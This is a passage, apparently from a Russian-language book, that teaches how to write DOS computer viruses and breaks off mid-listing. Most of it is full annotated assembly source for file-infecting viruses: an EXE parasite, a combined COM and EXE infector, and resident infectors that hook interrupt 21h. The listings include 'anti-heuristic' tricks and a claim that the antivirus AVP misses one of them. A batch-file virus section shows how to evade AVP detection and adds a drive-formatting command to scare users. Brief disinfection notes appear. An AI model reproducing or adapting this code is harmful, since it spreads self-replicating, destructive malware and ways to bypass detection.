        mov     ah,40h                          ; DOS функция записи в файл
        int     1h                              ; Антиэвристика
        lea     dx,[bp+buffer]                  ; Пишем из буфера
        pop     cx                              ; сх байт (1Ah)
        int     21h

        mov     ax,4202h                        ; Переставим указатель
        xor     cx,cx                           ; в конец файла
        cwd                                     ; xor dx,dx
        int     21h

        mov     ah,40h                          ; Допишем тело вируса
        int     1h                              ; Антиэвристика
        lea     dx,[bp+startvirus]
        mov     cx,heap-startvirus              ; кол-во байт для записи (длина вируса)
        int     21h

        mov     ah,3eh                          ; Закроем файл
        int     21h
mo_infections:
        jmp     find_next

open:
        mov     ax,3d02h
        lea     dx,[bp+newDTA+30]               ; Имя файла в DTA
        int     21h
        xchg    ax,bx
        ret

exe_mask        db      '*.exe',0
heap:                                           ; Временные переменные
newDTA          db      42 dup (?)              ; Временный DTA
buffer          db      1ah dup (?)             ; Буфер для чтения
endneap:                                        ; Конец вируса
end     startvirus
 

Рассмотрим данный вирус более подробно.

Первый блок:

startvirus:                                     ; начало вирусного кода
        call    next                            ; пересчитаем смещение
next:   pop     bp                              ;
        int     1h                              ; антиэвристика
        sub     bp,offset next                  ;

        cmp     sp,id                           ; если файл не инфицирован, то
        jne     restore_done                    ; и восстанавливать не надо.

restore_exe:
        push    ds
        push    es
        push    cs                              ; DS = CS
        pop     ds
        push    cs                              ; ES = CS
        pop     es
        lea     si,[bp+jmpsave]
        lea     di,[bp+jmpsave2]
        movsw
        movsw
        movsw
        movsw
 

В начале этого блока мы получаем дельта-смещение, а потом, если мы были запущены из инфицированного файла, восстанавливаем заголовок.

Второй блок:

restore_done:
        mov     ah,1Ah                          ; Установим новый DTA
        lea     dx,[bp+newDTA]                  ; DTA @ DS:DX
        int     21h
SEARCH:
        lea     dx,[bp+EXE_MASK]                ; Установим в регистр dx маску *.exe
        call    FINDFIRST                       ; Вызовем процедуру поиска

QUIT:
        mov     ah,1ah                          ;
        mov     dx,80h                          ; Восстановим оригинальный DTA
        cmp     sp,ID-4                         ; Если *.ехе файл
        jz      QUIT_EXE                        ; то выход из *.ехе файла
QUIT_COM:
        int     21h                             ; Иначе выходим из *.com файла
        retn
quit_exe:
        pop     es
        pop     ds                              ; DS->PSP
        int     21h
        mov     ax,es                           ; АХ = PSP сегмент
        add     ax,16                           ; для восстановления PSP
        add     word ptr cs:[bp+jmpsave2+2],ax
        add     ax,word ptr cs:[bp+stacksave+2]
        cli                                     ; Запретим прерывания

        mov     sp,word ptr cs:[bp+stacksave]
        mov     ss,ax
        sti
                db      0eah                    ; опкод команды jmp
jmpsave2        dd      ?                       ; оригинальный CS:IP
stacksave       dd      ?                       ; Оригинальный SS:SP
jmpsave         dd      ?                       ; Необходим для файла-носителя
stacksave2      dd      ?
creator         db      '[sl0n]'
end_search:
        retn
 

Вначале устанавливается новый DTA, потом идет поиск файла и его инфицирование. После инфицирования восстанавливается DTA, PSP и передается управление оригинальной программе.

Перейдем к третьему блоку:

;----------------------------------------------
findfirst:
        mov     ah,4eh                          ; DOS функция Findfirst
        xor     cx,cx                           ; любой атрибут
findfirstnext
        int     21h                             ; DS:DX указывает на маску
        jc      end_search                      ; если больше файлов нет, то на выход

        call    open                            ; Открываем на чтение

        mov     ah,3fh                          ; Прочитаем из файла в буфер
        lea     dx,[bp+buffer]                  ; @ DS:DX
        mov     cx,1Ah                          ; 26 байт
        int     21h

        mov     ah,3eh                          ; После чтения закрываем файл

        int     21h
checkEXE:                                      
        cmp     word ptr [bp+buffer+10h],id     ; Если файл не заражен, то заражаем его
        jnz     infect_exe
 

В данном блоке ищется файл, открывается и из него читается 26 байт. Файл закрывается, и затем файл проверяется на инфицированность, и если он не инфицирован, то идет переход на метку infect_exe.

Перейдем к четвертому блоку:

find_next:
        mov     ah,4fh                          ; Иначе ищем новую жертву
        jmp     short findfirstnext
infect_exe:                                    
        les     ax, dword ptr [bp+buffer+14h]   ; Сохраним старую точку входа
        mov     word ptr [bp+jmpsave], ax
        mov     word ptr [bp+jmpsave+2], es
                                       
        les     ax, dword ptr [bp+buffer+0Eh]   ; Сохраним старый стэк
        mov     word ptr [bp+stacksave2], es
        mov     word ptr [bp+stacksave2+2], ax
                                       
        mov     ax, word ptr [bp+buffer+8]      ; Возьмем размер ехе заголовка
        mov     cl, 4                           ; переведем его в байты
        shl     ax, cl
        xchg    ax, bx
                                       
        les     ax, [bp+offset newDTA+26]       ; Положим размер файла в DX:AX
        mov     dx, es
        push    ax
        push    dx

        sub     ax, bx                          ; Отнимем размер заголовка от
        sbb     dx, 0                           ; размера файла

        mov     cx, 10h                         ; Переведем в форму
        div     cx                              ; сегмент:смещение

        mov     word ptr [bp+buffer+14h], dx    ; Новая точка входа
        mov     word ptr [bp+buffer+16h], ax
        mov     word ptr [bp+buffer+0Eh], ax    ; И стэк
        mov     word ptr [bp+buffer+10h], id

        pop     dx                              ; Возьмем длину файла
        pop     ax

        add     ax, heap-startvirus             ; И длину вирусного тела
        adc     dx, 0  

        mov     cl, 9                           ; 2**9 = 512
        push    ax
        shr     ax, cl 
        ror     dx, cl 
        stc
        adc     dx, ax                          ; Размер файла в страницах

        pop     ax
        and     ah, 1                           ; 512 байтных

        mov     word ptr [bp+buffer+4], dx      ; Новый размер файла
        mov     word ptr [bp+buffer+2], ax

        push    cs                              ; Восстановим ES
        pop     es

        mov     cx, 1ah
 

В данном блоке пересчитывается новая точка входа и записывается в ту же переменную. Основное в данном блоке — это арифметические операции.

Последний блок:

finishinfection:
        push    cx                              ; сохраним в стэке 1ah

        call    open

        mov     ah,40h                          ; DOS функция записи в файл
        int     1h                              ; Антиэвристика
        lea     dx,[bp+buffer]                  ; Пишем из буфера
        pop     cx                              ; сх байт (1Ah)
        int     21h

        mov     ax,4202h                        ; Переставим указатель
        xor     cx,cx                           ; в конец файла
        cwd                                     ; xor dx,dx
        int     21h

        mov     ah,40h                          ; Допишем тело вируса
        int     1h                              ; Антиэвристика
        lea     dx,[bp+startvirus]
        mov     cx,heap-startvirus              ; кол-во байт для записи (длина вируса)
        int     21h

        mov     ah,3eh                          ; Закроем файл
        int     21h
mo_infections:
        jmp     find_next
open:
        mov     ax,3d02h
        lea     dx,[bp+newDTA+30]               ; Имя файла в DTA
        int     21h
        xchg    ax,bx
        ret
 

В этом последнем блоке вначале переписывается заголовок *.exe файла из переменной buffer, а потом к концу программы дописывается основное тело вируса, и после этого файл закрывается. Для уменьшения размера и упрощения открытия файлов используется процедура open.

Лечение данного вируса производится по следующему алгоритму:

  1. обнаружить инфицированный файл;
  2. определить место, где находятся оригинальные байты из *.exe заголовка;
  3. восстановить оригинальные байты;
  4. удалить хвост вируса.

Все вирусы, которые были приведены до этого, разработчики антивирусного обеспечения именуют как «студенческие», что в их понимании означает простейшие.

3.3. Простейшие *.COM + *.EXE вирусы

Дальше после простейших *.com и *.exe паразитов на эволюционной лестнице компьютерных вирусов стоят комбо-вирусы, т. е. вирусы, заражающие как *.com так и *.exe. Эти вирусы базируются на описанных выше методах инфицирования *.com и *.exe программ. Другими словами, это два предыдущих вируса, объединенные в один.

Следует рассмотреть, как выглядит файл до инфицирования и после:

  1. до инфицирования:
    Программа
  2. после инфицирования:
    JMP+Программа+Вирус

В данном случае мы не можем точно сказать, настоящий это JMP или всего лишь передача управления. Это все зависит от формата зараженной программы.

Рассмотрим листинг:

;----------------------------------------------
ID              = 'FN'                          ; Метка заражения
                .model tiny                     ; Модель памяти
                .code                           ;
                org 100h                        ;

MAIN:           db      0e9h,00h,00h            ; Jmp START_VIRUS

START           proc near

START_VIRUS:
                call    FIND_OFFSET             ;

FIND OFFSET:    pop     bp                      ; в BP находится текущий IP

                int     1h                      ; Антиэвристика
               
                sub     bp, offset FIND_OFFSET  ; Считаем дельта-смещение

                                                ; для адресации данных
; Смотрим, из какой программы мы запустились, и на ID при
; при заражении *.EXE хранится в SP (stack pointer) указатель на стэк

                cmp     sp,ID                   ; COM или EXE?
                je      RESTORE_EXE             ; Я *.EXE

; Восстанавливаем первые байты *.C0M

RESTORE_COM:    lea     si,[bp+COM_START]       ; Восстанавливаем 3 байта
                mov     di,100h                 ; оригинальные
                push    di                      ; 3 байта
                movsw                           ;
                movsb
                jmp     short RESTORE_DONE

; Восстанавливаем оригинальный заголовок *.EXE файла

RESTORE_EXE:    push    ds                      ; Сохраняем DS
                push    es                      ; Сохраняем ES
                push    cs                      ; Устанавливаем DS = CS
                pop     ds
                push    cs                      ; Устанавливаем ES = CS
                pop     es
                lea     si,[bp+JMPSAVE]         ; Сохраняем CS:IP и
                lea     di,[bp+JMPSAVE2]        ; SS:SP
                movsw                           ;
                movsw
                movsw
                movsw

RESTORE DONE:   lea     dx,[bp+DTA]             ; Указатель на новый DTA
                mov     ah,1ah                  ;
                int     21h                     ; Устанавливаем новый DTA

; Ищем файлы для инфицирования

SEARCH:         lea     dx,[bp+EXE_MASK]        ; Ищем по маске *.EXE
                call    FINDFIRST               ;
                lea     dx,[bp+COM_MASK]        ; Ищем по маске *.COM
                call    FINDFIRST

; Возвращаем управление оригинальной программе

QUIT:           push    ds                      ; Сохраняем DS
                pop     ds                      ; Восстанавливаем DS
                mov     ah,1ah                  ;
                mov     dx,80h                  ; Восстанавливаем оригинальный DTA
                cmp     sp,ID-4                 ; ЕХЕ или COM? ES,DS в стэке
                jz      QUIT_EXE                ; Передаем управление *.ЕХЕ

QUIT_COM:       int     21h
                retn                            ; Передаем управление *.СОМ файлу

QUIT EXE:       pop     es                      ; Восстанавливаем ES
                pop     ds                      ; Восстанавливаем DS
                int     21h                     ;

                mov     ax,es                   ; AX = началу PSP сегмента
                add     ax,16                   ; Добавим размер PSP, чтобы получить CS
                add     word ptr cs:[bp+JMPSAVE2+2],ax          ; Восстанавливаем IP
                add     ax,word ptr cs:[bp+STACKSAVE2+2]        ; Вычисляем SS
                cli                                             ; Выключаем прерывания
                mov     sp,word ptr cs:[bp+STACKSAVE2]          ; Восстанавливаем SP
                mov     ss,ax                                   ; Восстанавливаем SS
                sti                                             ; Включаем прерывания
                db      0eah                                    ; jmp SSSS:0000
JMPSAVE2        dd      ?                                       ; CS:IP
STACKSAVE2      dd      ?                                       ; SS:SP
JMPSAVE         dd      ?                                       ; EXE CS:IP
STACKSAVE       dd      ?                                       ; EXE SS:SP

msg             db      '[c0mb0 chUmA by sl0n]',0ah,0dh,'$'     ; Сообщение
;----------------------------------------------
; DOS Firidfirst / Findnext функции
FINDFIRST:      mov     ah,4eh                  ; DOS find first функция
                xor     cx,cx                   ; Искать файлы с любыми атрибутами
FINDNEXT:       int     21h                     ;
                jc      END_SEARCH              ; Если файлов больше нет или
                                                ; ошибки, то идем на выход
; Открываем файл
                call    OPEN                    ; Открываем файл

; Читаем заголовок файла (24 байта)
                mov     ah,3fh                  ; DOS функция чтение из файла
                lea     dx,[bp+BUFFER]          ; читаем в BUFFER
                mov     cx,24                   ; 24 байта

                int     1h                      ; Антиэвристика

                int     21h                     ;
                mov     ah,3eh                  ; DOS функция закрытия файла
                int     21h                     ;

; Проверяем файл *.EXE или нет
CHECK_EXE:      cmp     word ptr [bp+BUFFER], 'ZM'      ;
                jne     CHECK_C0M                       ; Если файл не *.ЕХЕ то на проверку *.СОМ
                cmp     word ptr [bp+BUFFER+16],ID      ; ОН заражен
                je      ANOTHER                         ; Да, ищем следующий
                jmp     short INFECT_EXE                ; Нет? Ну тогда заразим его!

; Проверяем *.COM это случаем не C0MMAND.COM
CHECK_COM:      cmp     word ptr [bp+DTA+35],'DN'       ;
                jz      ANOTHER                         ; Да, ищем другой

; Проверим заражен *.СОМ файл
;
                mov     ах,word ptr [bp+DTA+26]               ; Кладем размер в ax
                cmp     ax,(65535-(ENDHEAP-START_VIRUS)); Если слишком большой.
                jle     ANOTHER                         ; Ищем новый
                mov     cx,word ptr [bp+BUFFER+1]       ; Кладем смещение в cx
                add     cx,END_VIRUS-START_VIRUS+3      ; Добавляем размер вируса

                cmp     ax,cx                   ; сравним ax и cx
                jnz     INFECT_COM              ; Если здоровый, то заразим его

ANOTHER:        mov     ah,4fh                  ; Ищем новую жертву
                jmp     short FINDNEXT          ;

END_SEARCH:     retn                            ;

INFECT_COM:
; Сохраняем первые три байта оригинального заголовка *.COM файла
                lea     si,[bp+BUFFER]          ;
                lea     di,[bp+COM_START]       ; Сохраним их в переменную C0M_START
                movsw
                movsb

; Вычисляем длину перехода на тело вируса
; В ах хранится размер файла
                mov     сх, З                        ; Кол-во байт в самом JMP
                sub     ах, сх                      ; размер файла - 3
                mov     byte ptr [si-3],0e9h    ; Первым байтом нового заголовка будет jmp
                mov     word ptr [si-2],ax      ; Остальными двумя смещение перехода
                jmp     D0NE_INFECTI0N          ;

INFECT_EXE:

; Сохраним оригинальные CS:IP и SS:SP

                les     ах,dword ptr [bp+BUFFER+20]   ; Получим CS:IP
                mov     word ptr [bp+JMPSAVE],ax        ; Сохраняем IP
                mov     word ptr [bp+JMPSAVE+2],es      ; Сохраняем CS
                les     ax,dword ptr [bp+BUFFER+14]     ; Получим SS:SP
                mov     word ptr [bp+STACKSAVE],es      ; Сохраняем SP
                mov     word ptr [bp+STACKSAVE+2],ax    ; Сохраняем SS

; Получим размер заголовка в байтах

                mov     ах,word ptr [bp+BUFFER+8]     ; Получим размер заголовка
                mov     cl,4                    ; Переведем параграфы в байты
                shl     ax,cl                   ; Умножением на 16
                xchg    ax,bx                   ; Кладем размер заголовка в bx

; Получим размер файла

                les     ax,[bp+offset DTA+26]   ; Получим размер файла
                mov     dx,es                   ; в формате DX:AX

                push    ax                      ; Сохраним размер файла
                push    dx

                sub     ax,bx                   ; Отнимем от него
                sbb     dx,O                    ; размер заголовка

                mov     cx,16                   ; Переведем в форму сегмент:смещение
                div     cx                      ;

; Сохраним новую точку входа (CS:IP) в заголовке.
                mov     word ptr [bp+BUFFER+20],dx      ; Сохраняем IP
                mov     word ptr [bp+BUFFER+22],ax      ; Сохраняем CS

; Сохраним указатель на стэк (SS:SP) в заголовке.

                mov     word ptr [bp+BUFFER+14],ах    ; Сохраняем SS
                mov     word ptr [bp+BUFFER+16],ID      ; Сохраняем SP

                pop     dx                              ; Восстановим размер файла
                pop     ax

                add     ax,END_VIRUS-START_VIRUS        ; Добавим длину вируса к размеру файла
                adc     dx,0

                push    ax                      ; Сохраняем АХ
                mov     cl,9                    ; Делим АХ
                shr     ax,cl                   ; на 512
                ror     dx,cl
                stc                             ;
                adc     dx,ax                   ;
                pop     ax                      ; Восстанавливаем АХ
                and     ah,1                    ; mod 512

; Сохраняем новый размер файла в заголовке.

                mov     word ptr [bp+BUFFER+4],dx       ; Сохраняем новый размер файла
                mov     word ptr [bp+BUFFER+2],ax

                push    cs                      ; Сохраняем ES
                pop     es
                mov     cx,24

                push    bx

DONE_INFECTION:
                push    cx

                call    OPEN                    ; Открываем файл

; Запишим новый заголовок в файл.

                mov     ah,40h                  ; DOS-функция записи в файл
                int     1h                      ; Антиэвристика
                pop     cx                      ; кол-во записываемых байт
                lea     dx,[bp+BUFFER]          ; Пишем из буфера
                int     21h                     ;

; Устанавливаем указатель в конец файла

                mov     ax,4202h                ;
                xor     cx,cx                   ; Устанавливаем указатель в конец файла
                cwd                             ;
                int     21h                     ;

; Дописываем вирус в конец файла
                mov     ah,40h
                lea     dx,[bp+START_VIRUS]
                mov     cx,END_VIRUS-START_VIRUS
                int     21h
               
; Close the file.
                mov     ah,3eh                  ; DOS-функция закрыть файл
                int     21h                     ;

                pop     bx

BOMB_DONE:      mov     ah,09h                  ;
                lea     dx,[bp+msg]             ; Выведем сообщение
                int     21h                     ;
                jmp     QUIT                    ; Вернем управление оригинальной программе

; Процедура открытия файла
OPEN            proc    near
                mov     ax,3d02h                ; DOS-функция открыть файл на чтение/запись
                int     1h
                lea     dx,[bp+DTA+30]          ;
                int     21h                     ;
                xchg    ax,bx                   ; Кладем указатель на файл в bx
                retn                            ; Возврат
OPEN            endp

; Дальше идет область данных
COM_MASK        db      '*.com',0               ; маска *.COM файла
EXE_MASK        db      '*.exe',0               ; маска *.ЕХЕ файла
COM_START       db      0cdh,20h,0              ; Заголовок зараженного файла

START           endp

END_VIRUS       equ     $                       ; Метка конца вируса

; Все, что идет после этой строки, в тело вируса не включается
BUFFER          db      24 dup(?)
DTA             db      43 dup(?)
ENDHEAP:
                end     MAIN
;----------------------------------------------
 

Вот мы и рассмотрели комбо-паразит. Как видите, ничего сложного в нем нет.

AVP, как собственно, и другими антивирусами, он не обнаруживается.

Подробно что-то в нем комментировать я не вижу смысла, так как по отдельности мы подробно рассмотрели паразитизм *.com и *.exe файлов.

Лечение комбо-паразита усложняется лишь тем, что придется анализировать больше файлов и сочетать приемы лечения *.com и *.exe паразитов.

3.4. Простейшие *.BAT

Сейчас мы рассмотрим написание скриптового вируса на BATCH языке. Этот скриптовый язык — аналог всем известного языка SHELL под UNIX системы.

По своей сути *.bat файлы являются обыкновенным списком DOS-команд (ну не совсем обыкновенным). В данных файлах присутствуют структуры: if, goto, for, т. е. на самом деле это язык программирования, но его описание не наша тема. Мы рассмотрим написание простейшего вируса на BATCH языке.

Рассмотрим вирус:

rem -------------------------------------------
        @echo off
        for %%i in (*.bat) do copy %0 %%i
        @echo ::[This IS *.BAT Virus]::
rem -------------------------------------------
 

Вот и все, простейший *.bat overwriter готов. В это конечно, сложно поверить, но реально весь вирус заключается в строке с циклом for.

Но об этом позднее. Начнем рассмотрение данного вируса с первой строки. В первой и последней строчке (они начинаются с rem) содержится комментарий.

Все строки в *.bat файлах считаются комментарием, если начинаются с rem.

Следующая строка «@echo off» выключает вывод на монитор всех последующих команд. И наконец, самая главная строка «for %%i in (*.bat) do copy %0 %%i». В данной строке происходит поиск всех *.bat файлов в текущей директории и копирование вируса на их место.

В предпоследней строке выводится сообщение о том, что это вирус, инфицирующий *.bat файлы.

Но с этим вирусом есть одна маленькая проблемка: AVP его идентифицирует как «ВАТ.silly.d». То есть замечательно опознает как вирус и, наверное, даже лечить захочет.

Опознание нашего вируса происходит из-за применения в цикле маски *.bat.

Для обхода антивирусной защиты мы создадим переменную окружения и подставим ее в цикл.

Рассмотрим вирус:

rem -------------------------------------------
        @echo off
        set BAT=bat
        for %%i in (*.%BAT%) do copy %0 %%i
        @echo ::[This IS *.BAT Virus]::
rem -------------------------------------------
 

После данной модификации наш вирус обнаруживаться антивирусами перестал.

Но нам этого ведь мало: даже если наш вирус заразит все *.bat файлы на компьютере, ничего особо страшного не случится.

Для устрашения пользователя можно добавить немного деструкции к вирусу, например удаление всех файлов в текущей директории или форматирование винчестера.

Рассмотрим вирус:

rem -------------------------------------------
        @echo off
        set BAT=bat
        for %%i in (*.%BAT%) do copy %0 %%i
        @echo ::[This IS *.BAT Virus]::   .
        @echo off
        format с: /у
rem -------------------------------------------
 

Вот это уже посерьезнее.

Существует множество вариантов реализации *.bat вирусов, некоторые пишут вирусы на Ассемблере и затем уже вставляют внутрь *.bat файла в качестве debug скрипта. Мы с вами разобрались с наипростейшей реализацией *.bat вируса.

Борьба с данным вирусом довольно примитивна:

  1. идентифицировать вирус по маске;
  2. удалить вирус.

Функции маскировки и ускорения эпидемии

Глава 4. Резидентность

Что же такое резидентность? Давайте рассмотрим аналогию. Обычная программа, когда завершает свою работу, выгружает себя из памяти. Резидентная же программа после завершения работы оставляет какую-то часть программного кода в памяти. Резидентные программы в большинстве случаев перехватывают какие-нибудь прерывания, чтобы по какому-нибудь событию продолжить свое выполнение.

Что же резидентность дает разработчикам вирусов? Для чего они могут ее использовать? Во-первых, они могут во много раз усилить эпидемию, если будут заражать каждый файл, запущенный пользователем или открытый им для чтения/записи. Но это не все, что им дает данная техника. Она открывает перед ними возможности стелс-вирусов.

Итак, рассмотрим алгоритм простейшей резидентной программы.

  1. Программа размещает в памяти какую-то свою часть.
  2. Подменяет обработчик прерывания (чтобы реагировать на определенные действия пользователя).
  3. Завершает свою работу, оставаясь резидентной (TSR — terminate stay resident).

Разберемся более подробно с этим алгоритмом на примере.

.model tiny .code org 100h start: mov ax,3521h ; Получить вектор 21 прерывания int 21h mov word ptr [int21_addr],bx ; Сохранить адрес 21 прерывания mov word ptr [Int21_addr+02h],es ; mov ah,25h ; Установить наш обработчик 21 прерывания int 1h ; Антиэвристика lea dx,int21_virus ; В dx должно быть смещение на обработчик int 21h mov dx, 71 ; При вызове функции TSR DOS в dx должно быть кол-во int 27h ; байт программы, остающихся резидентными ; в данном случае вся программа int21_virus proc near ; Наш обработчик 21 прерывания cmp ah,4bh ; Программа запускается или загружается? jne int21_exit ; Нет? Тогда возвратим управление оригинальному ; обработчику push cs ; Положим CS в стек pop ds ; Загрузим из стека CS в DS (теперь CS-DS) mov ah,09h ; Значит, все-таки файл запущен. Выведем lea dx,msg ; сообщение и возвратим управление оригинальному ; обработчику int21_exit: db 0eah ; Это код команды JMP code_end: int21_addr dd ? ; Адрес 21 прерывания msg db "Hello i am resident programm $' ; Собственно сообщение, которое будем выводить endp end start ; ---------------------------------------------

Что же эта программа делает? Сначала она подменяет DOS-обработчик 21 прерывания собственным и после этого вся садится в память и завершает исполнение методом «прервать, остаться резидентной» (TSR — terminate stay resident). Если же запускается какая-то программа (функция 4bh, 21 прерывание), то управление получает вирусный обработчик, выводит строку приветствия и возвращает управление оригинальному обработчику (программа, которую запускали, не запускается, так как в вирусном обрабочике это не предусмотрено).

Разберем более подробно данную программу:

                mov     ax,3521h                        ; Получить вектор 21 прерывания
                int     21h
                mov     word ptr [int21_addr],bx        ; Сохранить адрес 21 прерывания
                mov     word ptr [Int21_addr+02h],es    ;
 

Этот кусок кода сохраняет адрес оригинального обработчика 21 прерывания. Это происходит при помощи стандартной DOS-функции 35h, номер преры вания которого мы хотим получить. Адрес должен загружать в al — в нижний байт регистра ах. После завершения работы прерывания в регистре bx хранятся первые два байта смещения на обработчик, а в es — сегмент обработчика. Все это мы сохраняем в переменную int21_addr для последующего возвращения управления оригинальному обработчику.

                mov     ah,25h                          ; Установить наш обработчик 21 прерывания
                lea     dx,int21_virus                  ; В dx должно быть смещение на обработчик
                int     21h
 

В данном блоке DOS-функцией 25h устанавливается новый обработчик 21 прерывания, в регистре dx должно быть смещение на новый обработчик.

                mov     dx, 72          ; При вызове функции TSR DOS в dx должно быть кол-во
                int     27h             ; байт программы, остающихся резидентными
                                        ; в данном случае вся программа
 

Здесь вызывается DOS функция TSR — прервать, остаться резидентной. Резидентными остаются 72 байта данной программы, т. е. вся она.

int21_virus     proc    near            ; Наш обработчик 21 прерывания
                cmp     ah,4bh          ; Программа запускается или загружается?
                jne     int21_exit      ; Нет? Тогда возвратим управление оригинальному
                                        ; обработчику
                push    cs              ; Положим CS в стек
                pop     ds              ; Загрузим из стека CS в DS (теперь CS-DS)
               
                mov     ah,09h          ; Значит, все-таки файл запущен. Выведем
                lea     dx,msg          ; сообщение и возвратим управление оригинальному
                                        ; обработчику
int21_exit:    
                db      0eah            ; Это код команды JMP
code_end:                      
int21_addr      dd      ?               ; Адрес 21 прерывания
msg             db      "Hello i am resident programm $' ; Собственно сообщение, которое будем выводить
                endp

Здесь в обработчике прерывания идет проверка на запуск программы. Если программа запускается, то выводится сообщение. Если программа не запускается, то остальные функции DOS обрабатывает оригинальный обработчик 21 прерывания. Рассмотрим теперь алгоритм резидентного вируса.

  1. Проверка на присутствие в памяти (в простейшем случае может не приствовать)
  2. Выделение области памяти для вирусного тела.
  3. Перенос вирусного тела в память.
  4. Подмена обработчика прерывания вирусным обработчиком.
  5. Возвращение управления программе, из которой вирус стартовал (в простейшем случае может не присутствовать).

Теперь давайте нашу простую резидентную программу преобразуем в простейший резидентный вирус. Что же в нашей программе нужно изменить, чтобы она стала вирусом? Да почти ничего! Нужно всего лишь вывод приветствия заменить на запись вирусного тела в стартующую программу. Также желательно (но не необходимо) добавить проверку на присутствие в памяти.

Рассмотрим листинг:

.model tiny
.code
org     100h

start:
        mov     ax, 7357                        ; Проверка на присутствие в памяти
        int     21h                             ;
       
        cmp     bx, 7357                        ; Если мы в памяти, то
        jne     next                            ;
       
        ret                                     ; завершаем программу

next:
        mov     ax,3521h                        ; Получить вектор 21 прерывания
        int     21h    
        mov     word ptr [int21_addr],bx        ; Сохраним адрес 21 прерывания
        mov     word ptr [int21_addr+02h],es    ;

        mov     ah,25h                          ; Установить наш обработчик 21 прерывания
        lea     dx,int21_virus                  ; В dx должно быть смещение на обработчик
        int     1h                              ; Антиэвристика
        int     21h    

        mov     dx,67                           ; При вызове функции TSR DOS в dx должно быть кол-во
        int     27h                             ; байт программы, остающихся резидентными, -
                                                ; в данном случае вся программа
int21_virus     proc    near                    ; Вирусный обработчик прерывания
        cmp     ax,7357                         ; Проверка на присутствие. Если нас зовут,
        jne     nO                              ;
        mov     bx,7357                         ; тогда откликнемся
nO:
        cmp     ah,4bh                          ; Если запущена/загружена программа
        jne     int21_exit                      ; Нет, отдадим управление оригинальному обработчи

        mov     ax,3d02h                        ; Все-таки запущена, тогда
        int     21h                             ; откроем ее файл для чтения/записи
        xchg    ax, bx                          ; и положим хэндл файла в bx
       
        push    cs                              ; Приравняем сегмент данных сегменту кода
        pop     ds                              ;

        mov     ah,40h                          ; Запишем в файл
        lea     dx,start                        ; свое тело, затирая оригинальные байты программы,
        mov     cx,code_end-start
int21_exit:
        db      0eah                            ; Это код комманды JMP
code_end:
int21_addr      dd      ?                       ; Адрес оригинального 21 прерывания
                endp

end     start
; ---------------------------------------------
 

Давайте разберемся, как производится проверка на присутствие вируса в памяти и для чего.

В начале программы перед посадкой в память вызывается функция 7357, которой на самом деле не существует, но если вирус находится в памяти, то он ответит данной функции, поместив в регистр bx аналогичное значение. Это делается для того, чтобы вирус по многу раз не усаживался в оперативную память.

Проверка на присутствие выглядит следующим образом:

        mov     ax, 7357                        ; Проверка на присутствие в памяти
        int     21h                             ;
       
        cmp     bx, 7357                        ; Если мы в памяти, то
        jne     next                            ;
       
        ret                                     ; завершаем программу
 

Если вирус в памяти присутствует, то программа завершает свое выполнение.

А вот та часть вирусного обработчика 21 прерывания, которая отвечает за ответ при проверке на присутствие в памяти:

        cmp     ax,7357                         ; Проверка на присутствие. Если нас зовут,
        jne     nO                              ;
        mov     bx,7357                         ; тогда откликнемся
 

При вызове функции 7357 в регистр bx помещается аналогичное значение. В чем же заключается главный недостаток данного вируса? Он заключается том, что при использовании 27 прерывания (TSR), работа данной программы завершается, но большинству вирусов-паразитов нужно не прерывать программу, а передать ей управление. В этом заключается один большой демаскирующий эффект вируса данного типа.

Второй же недостаток — это то, что в начале при запуске программы она заражается и не запускается: перед заражением следует запустить данную программу и только после этого заражать. Все равно даже эта поправка не одурачит пользователя, потому что файл после инфицирования перестанет функционировать должным образом. Именно по этой причине в большинстве случаев не используют 27 прерывание. Чаще всего для размещения вируса в памяти используют MCB (Memory Control Block).

Приведенный ниже вирус внедряется в память путем выделения памяти через МСВ, а затем напрямую подменяет оригинальный обработчик 21 прерывания на свой. При запуске программы он проверяет, не *.ехе ли программа запущена путем проверки первых двух байт (в *.ехе файлах первые два байта обязательно «MZ»).

Взглянем на листинг:

; ---------------------------------------------
code    segment
        assume  cs:code,ds:code
        org     100h
        .286                                    ; этот режим необходим для использования
                                                ; pusha, popa
black   db      0e9h,0,0                        ; jmp на start (чтобы не было заражения
                                                ; самого себя)
start:  call    delta                           ; Этот call необходим
        pop     bp                              ; для получения дельта-смещения

        int     1h                      ; Антиэвристика
        sub     bp,offset delta         ; Для этого используем регистр bp

        mov     ah,099h                 ;
        int     21h                     ; Проверка на присутствие в памяти
        cmp     bh,099h                 ; Если мы находимся в памяти, то передадим
        je      first3                  ; управление оригинальной программе

        sub     word ptr cs:[2],80h     ; Значит, нас в памяти нет, тогда садимся
        mov     ax, cs                  ; Устанавливаем ах, чтобы указывал на cs
        dec     ax                      ; Уменьшим ах на 1, теперь он указывает на
        mov     ds, ax                  ; MCB, положим в ds - ах
        sub     word ptr ds:[3],80h     ; отгрызем себе памяти 2 кб
        xor     ax, ax                  ; положим в ах - 0
        mov     ds, ax                  ; поместим 0 в ds
        sub     word ptr ds:[413h],2    ; добавочные BIOS данные 2 кб
        mov     ax,word ptr ds:[413h]   ; поместим их в ах
        mov     cl,6                    ; положим в cl - 6
        shl     ax, cl                  ; Умножим доступную память на 64
        mov     es, ax                  ; результат в es
        push    cs                      ; настроим через стек
        pop     ds                      ; ds на cs
        xor     di, di                  ; обнулим di
        lea     si,[bp+start]           ; откуда начинаем посадку в память
        mov     cx,finished-start       ; кол-во байт для посадки в память (весь вирус)
        rep     movsb                   ; Садимся в память
        xor     ax, ax                  ; Обнулим ах
        mov     ds, ax                  ; Положим ах в ds
        lea     ax,new21                ; Делаем так, чтобы ах указывал на новый
                                        ; обработчик 21 прерывания
        sub     ax,offset start         ; отнимем смещение от начала (start)    
        mov     bx, es                  ; положим экстрасегмент в bx
        cli                             ; выключаем прерывания

        xchg    ах,word ptr ds:[84h]  ; переключаемся на новый обработчик
        xchg    bx,word ptr ds:[86h]    ;
        mov     word ptr es:[oi21-offset start],ax      ; и сохраняем старый
        mov     word ptr es:[oi21+2-offset start],bx    ;
        sti                             ; включаем прерывания
        push    cs cs                   ; настраиваем ds и es через стек, чтобы
        pop     ds es                   ; они указывали на cs

first3: lea     si,[bp+saved]           ; si указывает на оригинальные байты
        mov     di,100h                 ; положим в di 100h
        push    di                      ; и затем это значение поместим в стек
        movsw                           ; восстановим 2 оригинальных байта
        movsb                           ; восстановим 1 оригинальный байт
        retn                            ; возвратим управление по адресу 100h
                                        ; т. е. его получит оригинальная програк
new21:                                  ; Новый обработчик 21 прерывания
        pusha                           ; положим в стек все регистры
        push    ds                      ; положим в стек ds

        cmp     ah,099h                 ; Это проверка на присутствие в памяти?
        je      rezchk                  ; Да, мы там уже сидим

